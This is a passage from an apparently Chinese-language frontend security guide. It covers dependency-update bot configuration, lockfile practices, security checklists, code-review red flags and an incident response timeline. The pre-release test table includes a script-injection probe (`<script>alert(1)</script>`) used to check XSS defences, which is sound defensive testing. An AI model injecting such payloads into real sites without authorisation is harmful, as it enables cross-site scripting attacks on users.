version: 2
updates:
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "weekly"
day: "monday"
time: "09:00"
timezone: "Asia/Shanghai"
# 限制同时打开的 PR 数量
open-pull-requests-limit: 10
# 版本更新策略
versioning-strategy: increase
# 为安全更新添加标签
labels:
- "security"
- "dependencies"
# reviewers 设置
reviewers:
- "team-frontend"
# 忽略特定包(有原因时)
ignore:
- dependency-name: "eslint"
versions: [">=9.0.0"] # 等待正式迁移
Renovate 配置
{
"$schema": "https://docs.renovatebot.com/renovate-schema.json",
"extends": [
"config:recommended",
":separateMajorMinor",
":combinePatchMinorUpdates",
"group:allNonMajor",
"schedule:weekly"
],
"npm": {
"stabilityDays": 3,
"rangeStrategy": "bump"
},
"labels": ["dependencies", "renovate"],
"packageRules": [
{
"matchUpdateTypes": ["major"],
"labels": ["dependencies", "breaking-change"],
"assignees": ["tech-lead"]
},
{
"matchPackageNames": ["react", "@types/react"],
"groupName": "react core"
},
{
"matchPackageNames": ["vue", "@vue/*"],
"groupName": "vue core"
}
],
"vulnerabilityAlerts": {
"enabled": true,
"labels": ["security"]
}
}
7.4 lockfile 锁定版本
| 包管理器 | lockfile | 作用 |
|---|---|---|
| npm | package-lock.json |
锁定精确版本和依赖树 |
| yarn | yarn.lock |
锁定精确版本和依赖树 |
| pnpm | pnpm-lock.yaml |
锁定精确版本和依赖树(推荐) |
lockfile 最佳实践
# 1. lockfile 必须提交到 Git
git add pnpm-lock.yaml
# 2. CI 中使用 frozen lockfile 确保一致
pnpm install --frozen-lockfile
# 3. 定期更新 lockfile
pnpm update
# 4. 检查过时依赖
pnpm outdated
# 5. 检查并修复漏洞
pnpm audit
# 6. 检查哪些包有已知漏洞
pnpm audit --audit-level=high
❌ 常见错误
# ❌ 危险:lockfile 不在版本控制中
# .gitignore 中包含 package-lock.json
# ❌ 危险:CI 中没有使用 frozen-lockfile
npm install # 可能生成不一样的依赖树
# ❌ 危险:使用 npm update 或手动修改 package.json 版本
# 而不检查 breaking changes
# ❌ 危险:未锁定的运行时代码
npm install lodash@latest # latest 随时可能变化
7.5 依赖安全检查清单
| 检查项 | 频率 | 工具 |
|---|---|---|
| npm audit 扫描 | 每次提交 / CI | npm audit / pnpm audit |
| 依赖自动更新 | 每周 | Dependabot / Renovate |
| lockfile 一致性检查 | 每次构建 | --frozen-lockfile |
| 许可证合规检查 | 月度 | license-checker |
| 废弃包检查 | 月度 | npm outdated |
| 最小化依赖审计 | 季度 | 人工审查 |
八、前端安全检查清单
8.1 开发阶段
| 检查项 | 检查标准 | 责任人 |
|---|---|---|
| XSS 防御 | DOMPurify 用于 v-html / dangerouslySetInnerHTML,不使用 eval() |
开发者 |
| CSP 配置 | 生产环境配置 CSP,严格模式 'nonce-{random}' |
DevOps |
| HTTPS 强制 | 所有 API 请求使用 HTTPS,配置 HSTS | DevOps |
| CSRF 防护 | SameSite Cookie 配置,敏感操作 CSRF Token 校验 | 前后端协作 |
| 点击劫持 | X-Frame-Options: DENY 或 CSP frame-ancestors | DevOps |
| 环境变量 | 不暴露密钥,VITE_ 前缀只包含可公开配置 |
开发者 |
| Token 存储 | 使用 httpOnly Cookie,禁止 localStorage 存储 Token | 开发者 |
| 日志脱敏 | 生产环境不 console 打印敏感数据 | 开发者 |
| 依赖扫描 | npm audit 通过,高危漏洞已处理 |
CI |
| lockfile 提交 | lockfile 在版本控制中 | 开发者 |
8.2 代码审查 Checklist
// 代码审查时检查以下模式:
// 1. ❌ 是否使用了 v-html / dangerouslySetInnerHTML?
// 如果是,是否使用了 DOMPurify?
// 2. ❌ 是否有 eval()、new Function()、setTimeout(string)?
// 一律禁止
// 3. ❌ 是否有硬编码的密钥/Token/密码?
// 所有密钥必须走环境变量或后端代理
// 4. ❌ 是否有 console.log 敏感数据?
// 审查是否有打印 Token、密码、完整请求体的代码
// 5. ❌ 是否有 localStorage.setItem('token')
// 使用 httpOnly Cookie 替代
// 6. ❌ 是否有 document.cookie 操作?
// 除非操作非 httpOnly 的 Cookie,否则应由服务端设置
// 7. ❌ 是否有直接拼接 HTML 字符串?
// 使用模板引擎或 createElement,避免 innerHTML
8.3 上线前验证
| 检查项 | 工具/方法 | 通过标准 |
|---|---|---|
| CSP 验证 | 浏览器 DevTools Console | 无 CSP 违规日志 |
| HTTPS 检查 | SSL Labs / SecurityHeaders.com | A+ 评级 |
| XSS 测试 | 手动注入 <script>alert(1)</script> |
不执行且不显示 |
| Clickjack 测试 | 在 iframe 中加载页面 | 加载失败 (DENY) |
| 依赖安全 | npm audit --audit-level=high |
无高危漏洞 |
| 安全头检查 | curl -I https://example.com |
包含 CSP/HSTS/X-Frame |
8.4 安全响应流程
发现安全漏洞
│
├── 紧急漏洞(可被利用、影响用户数据)
│ ├── 1小时内:确认漏洞并评估影响范围
│ ├── 2小时内:制定修复方案
│ ├── 4小时内:上线修复
│ └── 24小时内:复盘总结
│
└── 普通漏洞(难以利用、影响面小)
├── 24小时内:确认漏洞
├── 下一个迭代:修复
└── 修复后:复盘总结
总结
前端安全不是一个可以"一次性搞定"的任务,而是一个贯穿整个开发生命周期的持续过程。
安全防御原则
- 纵深防御:不要依赖单一安全措施,多层防线可以相互兜底
- 最小暴露:只暴露必要数据,只授予必要权限,只输出必要日志
- 默认安全:框架默认配置(自动转义、SameSite Lax)已经提供了很大保护,不要主动关闭
- 永不信任:不信任用户输入,不信任后端返回,不信任第三方代码
- 持续监控:依赖扫描、CSP 上报、安全头检测应持续运行
安全建设路径
第一阶段:基础防护
├── 启用 HTTPS + HSTS
├── 配置 CSP 严格策略
├── X-Frame-Options 阻止点击劫持
└── SameSite Cookie 防御 CSRF
第二阶段:代码加固
├── DOMPurify 净化用户 HTML
├── 前端日志脱敏
├── Token 安全存储
└── CSRF Token 配合
第三阶段:持续运营
├── npm audit / Dependabot 自动化
├── 安全头定期检测
├── 安全代码审查
└── 安全事件应急响应
记住:前端安全没有银弹,真正的安全来自于对威胁的理解、对防御机制的深入掌握,以及在每个开发环节都保持安全意识。